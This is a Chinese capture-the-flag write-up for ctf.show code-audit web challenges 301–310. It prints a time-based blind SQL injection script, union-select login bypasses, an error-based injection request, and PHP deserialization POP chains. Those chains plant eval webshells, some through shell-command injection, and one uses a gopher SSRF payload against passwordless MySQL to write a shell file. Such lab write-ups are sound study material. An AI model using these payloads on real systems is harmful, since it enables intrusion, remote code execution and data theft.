web入门-代码审计_new

web入门-代码审计

web301
payload1

在checklogin.php中存在这一段

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

是字符型的sql注入。因为没有特别好的回显判断sql语句执行结果,选择使用时间盲注的方式。

在源代码泄露的sql数据库建立文件中发现,要查询的表和字段值,所有盲注就无需判断数据库名,表名和列名了直接爆数据即可

DROP TABLE IF EXISTS `sds_user`;
CREATE TABLE `sds_user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `sds_username` varchar(255) DEFAULT NULL,
  `sds_password` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

盲注脚本如下,爆出用户名和密码后登录即可拿到flag

import requests
import time
def postgo(url):
    judge1 = 1
    setTime = 4
    sum = 0
    # 检查数据包是否错误,可以不设置
    proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '59',
        'Connection': 'close'
    }
    while judge1 == 1:
        judge1 = 0
        name = ""
        judge2 = 1
        num = 1
        while judge2 == 1:
            judge2 = 0
            for i in range(124, 31, -1):
                m = "admin'and if(ascii(substr((select sds_username from sds.sds_user limit "+str(sum)+",1),"+str(num)+",1))="+str(i)+",sleep(5),1)#"
                data={'userid':m,'userpwd':1}
                try:
                    res = requests.post(url, data=data, headers=headers,timeout=setTime)
                except requests.Timeout as e:
                    num = num + 1
                    judge2 = 1
                    name = name + chr(i)
                    print("字符1~" + str(num - 1) + "个字符:" + name)
                    break

        if len(name) > 0 and sum != -1:
            judge1 = 1
            sum = sum + 1

# 目标url
url = "http://8612fe92-db7c-461b-a7e6-2ad220ecf3fd.challenge.ctf.show/checklogin.php"
postgo(url)
payload2

我们观察判断的条件发现,只要满足

u s e r p w d 和 userpwd和 userpwdrow[‘sds_password’]相等即可成功登录,而$row[‘sds_password’]其实是可以由我们通过sql语句指定的

观察下面的例子我们可以发现,只要我们传入的userpwd没有找到,那么union select 设置的值就会成为第一个返回结果

所以这题只要传入

userid=whoami1111' union select '1‘#&userpwd=1即可登录。

web302

增加了对我们传入的userpwd的自定义编码,观察编码函数,暴力破解是几乎不可能的

function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}

不过我们还是可以通过上次payload2一样的思路做出题目

#post传参
#d9c77c4e454869d5d8da3b4be79694d3为1经过sds_decode编码后的结果
userid=whoami1111' union select 'd9c77c4e454869d5d8da3b4be79694d3'#&userpwd=1
web303

用户名不能大与5了,所以在登录页面无法进行sql注入

if(strlen($username)>6){
	die();
}

代码审计发现泄露信息

//在sds_user.sql中发现admin账户密码的加密值
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
//在fun.php中发现将admin进行加密
<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode("admin");
?>
//结果打印出来的值刚好为27151b7b1ad51a38ea66b1529cde5ee4
//账户为admin密码也为admin

登录后台后没有想前两题一样显示出flag。继续审计发现dptadd.php文件。这里面明显存在SQL注入。我们通过sql注入爆出数据库信息可以在数据库中找到flag。报错注入post数据包如下

POST /dptadd.php HTTP/1.1
Host: 2dc5b79d-a401-455a-96e4-e7f47a521218.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Origin: http://2dc5b79d-a401-455a-96e4-e7f47a521218.challenge.ctf.show
Connection: close
Referer: http://2dc5b79d-a401-455a-96e4-e7f47a521218.challenge.ctf.show/dpt.php?
Cookie: PHPSESSID=0hqujukn41phpvc8m018269qov
Upgrade-Insecure-Requests: 1

dpt_telephone_number=1'and(updatexml(1,concat(0x7e,substring((select group_concat(flag)from sds_fl9g),1,32)),0x7e))#
web304

增加了过滤但没有什么用。这题的解法通web303

web305

代码审计发现增加了下面的这些代码

require 'class.php';
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
	$user = unserialize($user_cookie);
}

//class.php内容
class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

明显存在反序列化漏洞

cookie传参user

//序列化原式
O:4:"user":2:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}
//经过url编码后传递
O%3a4%3a%22user%22%3a2%3a%7bs%3a8%3a%22username%22%3bs%3a5%3a%221.php%22%3bs%3a8%3a%22password%22%3bs%3a24%3a%22%3c%3fphp+eval(%24_POST%5b1%5d)%3b%3f%3e%22%3b%7d

会在网站根目录生成一句话木马,后续连接网站后,在数据库中可以找到flag

web306

源代码相较于之前改动较多。分析查看源代码我们找到感兴趣的点,index.php开头部分的

$user = unserialize(base64_decode($_COOKIE['user']));

怀疑存在反序列化漏洞

在class.php中找到log类(我们把这个类的close方法看作序列化的终点)

class log{
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}
}

寻找调用close()方法的地点

找到在dao.php中调用了,继续跟进在其中发现下面类

class dao{
	private $config;
	private $conn;
    ....
    ....
    ....
	public function __destruct(){
		$this->conn->close();
	}
}

这下这条反序列列化pop链就清晰了dao类->log类

我们看有谁引用包含了dao.php

很好index.php包含dao.php并且同时存在反序列化函数可以触发所以我们可以选择在index.php触发这个漏洞写文件到网站根目录(事实上在网站的login.php中也有反序列化函数可以触发,但因为其没有包含dao.php所以这条pop链不成立)

访问网站index.php cookie提交

//序列化
O:3:"dao":2:{s:6:"config";N;s:4:"conn";O:3:"log":2:{s:5:"title";s:5:"1.php";s:4:"info";s:24:"<?php eval($_POST[1]);?>";}}
///base64编码
user=TzozOiJkYW8iOjI6e3M6MTE6IgBkYW8AY29uZmlnIjtOO3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjIzOiI8P3BocCBldmFsKCRfR0VUWzFdKTs/PiI7fX0=

即可在根目录生成后门(flag在flag.php)

web307

发现原来的位置的函数名改了,而且没有再在其他的方被调用,我们选择换个思路,打开seay自动审计一波发现了一个命令执行的函数

跟踪进函数

发现是在dao.php中的dao类中被clearCache()方法调用,该函数的功能是清除缓存,有一个潜在的可控变量$this->config->cache_dir

public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

我们追踪$this->config->cache_dir。发现这个变量实在config.php中的config类中被定义的。如果我们想要控制他的值可以通过反序列化漏洞控制。我们查看有谁包含dao.php看在这些文件中能不能找到反序列化函数。

只有service.php中包含dao.php继续追踪有谁包含service.php。

发现如下文件包含service.php

一个一个排查我们最终找到三个文件login.php,dptadd.php,logout.php中都存在反序列化函数。

而logout.php中的还存在触发clearCache()的语句,所以最终选择在logout.php中触发

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
	$service->clearCache();
}

接着构造利用pop链

<?php
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}
class config{
    public $cache_dir;
    public function  __construct(){
        $this->cache_dir="1;echo 'PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4=' | base64 -d > /var/www/html/1.php;#";
    }
}

$a=new dao();
echo base64_encode(serialize($a));
?>

t h i s − > c a c h e d i r 内写入想要执行的命令 , 我这里执行的是写 ‘ < ? p h p e v a l ( this->cache_dir内写入想要执行的命令,我这里执行的是写`<?php eval( this>cachedir内写入想要执行的命令,我这里执行的是写<?phpeval(_GET[1]);?>`到根目录下的1.php文件中。

将得到的结果以cookie的形式提交给logout.php处理,即可成功写入指令。

web308

发现原本的clearCache()方法增加了过滤。只允许传入字母了,所以rce无法实现。发现新增了一个方法checkVersion()

跟进发现下面的代码

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		....
		....
		....
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

网上查阅资料可以发现curl_exec()存在ssrf漏洞。

继续寻找触发条件。在index.php中发现了触发的机会

<?php
session_start();
error_reporting(0);
require 'controller/service/service.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
}
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $lastVersion=$service->checkVersion();
}
...
...

这里将service参数反序列化后再调用checkVersion()可以构成类似上题的反序列化漏洞。

反序列化漏洞结合ssrf,再加上index.php无法看到ssrf回显的实际情况我们想到了,是否可以利用SSRF攻击mysql写入shell文件。那么还缺一个条件就是mysql无密码,事实上观察config.php我们可以发现这里的mysql确实是无需密码连接的

所以思路就是 反序列化+ssrf+无密码mysql写入shell。构造脚本如下


<?php
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}
class config{
    public $update_url;
    public function  __construct(){
        $this->update_url="gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%56%00%00%00%03%73%65%6c%65%63%74%20%31%2c%27%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%22%73%68%65%6c%6c%22%5d%29%3b%3f%3e%27%2c%33%2c%34%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%01%00%00%00%01";
    }
}

$a=new dao();
echo base64_encode(serialize($a));
?>

向index.php传递cookie service=…。将会在根目录生成文件shell.php文件内容为

<?php @eval($_POST["shell"]);?>
#事实上该文件是通过如下sql语句生成的
#select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"
web309

根据提示mysql有了连接密码,既然这样就无法再用上一题的方法写shell了。不过还有一种方法可以通过fastcgi写shell

关于原理可以自行去网上查阅这里给出做题流程

首先通过ssrf利用工具gopherus生成ssrf访问的payload,这里要填两个参数一个是默认存在的php文件index.php

一个是要执行的系统指令echo "PD89ZXZhbCgkX0dFVFtwYXNzXSk7Pz4=" | base64 -d > 1.php(在网站根目录写入1.php后门文件getshell)

pop链的构造脚本同上一题。将生成的ssrf访问的payload放入反序列化pop链构造脚本中。再把生成的经过base64编码的数据通过cookie传递给index.php。然后在网站根目录生成shell,1.php

效果图如下

web310

与309做法一致不过flag是放在/var/flag/index.html中的

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值